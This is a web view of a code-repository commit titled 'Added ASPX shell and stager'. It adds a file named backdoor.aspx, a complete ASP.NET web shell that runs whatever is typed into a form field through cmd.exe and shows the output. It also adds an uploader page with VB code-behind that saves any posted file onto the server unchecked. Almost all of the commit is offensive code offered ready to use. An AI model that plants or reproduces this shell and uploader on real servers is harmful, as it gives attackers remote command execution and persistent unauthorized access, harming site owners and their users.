Skip to content

Commit 32067cb

Browse files
committed
Added ASPX shell and stager
1 parent 03a6739 commit 32067cb

File tree

3 files changed

+106
-0
lines changed

3 files changed

+106
-0
lines changed

shell/backdoor.aspx

Lines changed: 42 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
<%@ Page Language="C#" Debug="true" Trace="false" %>
2+
<%@ Import Namespace="System.Diagnostics" %>
3+
<%@ Import Namespace="System.IO" %>
4+
<script Language="c#" runat="server">
5+
void Page_Load(object sender, EventArgs e)
6+
{
7+
}
8+
string ExcuteCmd(string arg)
9+
{
10+
ProcessStartInfo psi = new ProcessStartInfo();
11+
psi.FileName = "cmd.exe";
12+
psi.Arguments = "/c "+arg;
13+
psi.RedirectStandardOutput = true;
14+
psi.UseShellExecute = false;
15+
Process p = Process.Start(psi);
16+
StreamReader stmrdr = p.StandardOutput;
17+
string s = stmrdr.ReadToEnd();
18+
stmrdr.Close();
19+
return s;
20+
}
21+
void cmdExe_Click(object sender, System.EventArgs e)
22+
{
23+
Response.Write("<pre>");
24+
Response.Write(Server.HtmlEncode(ExcuteCmd(txtArg.Text)));
25+
Response.Write("</pre>");
26+
}
27+
</script>
28+
<HTML>
29+
<HEAD>
30+
<title>awen asp.net webshell</title>
31+
</HEAD>
32+
<body >
33+
<form id="cmd" method="post" runat="server">
34+
<asp:TextBox id="txtArg" style="Z-INDEX: 101; LEFT: 405px; POSITION: absolute; TOP: 20px" runat="server" Width="250px"></asp:TextBox>
35+
<asp:Button id="testing" style="Z-INDEX: 102; LEFT: 675px; POSITION: absolute; TOP: 18px" runat="server" Text="excute" OnClick="cmdExe_Click"></asp:Button>
36+
<asp:Label id="lblText" style="Z-INDEX: 103; LEFT: 310px; POSITION: absolute; TOP: 22px" runat="server">Command:</asp:Label>
37+
</form>
38+
</body>
39+
</HTML>
40+
41+
<!-- Contributed by Dominic Chell (http://digitalapocalypse.blogspot.com/) -->
42+
<!-- http://michaeldaw.org 04/2007 -->

shell/uploader.aspx

Lines changed: 23 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,23 @@
1+
<%@ Page Language="vb" AutoEventWireup="false" Codebehind="uploader.aspx.vb" Inherits="VBNetUpload.WebForm1"%>
2+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
3+
<HTML>
4+
<HEAD>
5+
<title>WebForm1</title>
6+
<meta name="GENERATOR" content="Microsoft Visual Studio.NET 7.0">
7+
<meta name="CODE_LANGUAGE" content="Visual Basic 7.0">
8+
<meta name=vs_defaultClientScript content="JavaScript">
9+
<meta name=vs_targetSchema content="http://schemas.microsoft.com/intellisense/ie5">
10+
</HEAD>
11+
<body MS_POSITIONING="GridLayout">
12+
13+
<form id="Form1" enctype="multipart/form-data" method="post" runat="server">
14+
15+
<INPUT type=file id=File1 name=File1 runat="server" >
16+
<br>
17+
<input type="submit" id="Submit1" value="Upload" runat="server" NAME="Submit1">
18+
19+
20+
</form>
21+
22+
</body>
23+
</HTML>

shell/uploader.aspx.vb

Lines changed: 41 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,41 @@
1+
Public Class WebForm1
2+
Inherits System.Web.UI.Page
3+
Protected WithEvents File1 As System.Web.UI.HtmlControls.HtmlInputFile
4+
Protected WithEvents Submit1 As System.Web.UI.HtmlControls.HtmlInputButton
5+
6+
#Region " Web Form Designer Generated Code "
7+
8+
'This call is required by the Web Form Designer.
9+
<System.Diagnostics.DebuggerStepThrough()> Private Sub InitializeComponent()
10+
11+
End Sub
12+
13+
Private Sub Page_Init(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Init
14+
'CODEGEN: This method call is required by the Web Form Designer
15+
'Do not modify it using the code editor.
16+
InitializeComponent()
17+
End Sub
18+
19+
#End Region
20+
21+
Private Sub Page_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
22+
'Put user code to initialize the page here
23+
End Sub
24+
25+
Private Sub Submit1_ServerClick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Submit1.ServerClick
26+
27+
If Not File1.PostedFile Is Nothing And File1.PostedFile.ContentLength > 0 Then
28+
Dim fn As String = System.IO.Path.GetFileName(File1.PostedFile.FileName)
29+
Dim SaveLocation as String = Server.MapPath("Data") & "\" & fn
30+
Try
31+
File1.PostedFile.SaveAs(SaveLocation)
32+
Response.Write("The file has been uploaded.")
33+
Catch Exc As Exception
34+
Response.Write("Error: " & Exc.Message)
35+
End Try
36+
Else
37+
Response.Write("Please select a file to upload.")
38+
End If
39+
40+
End Sub
41+
End Class

0 commit comments

Comments
 (0)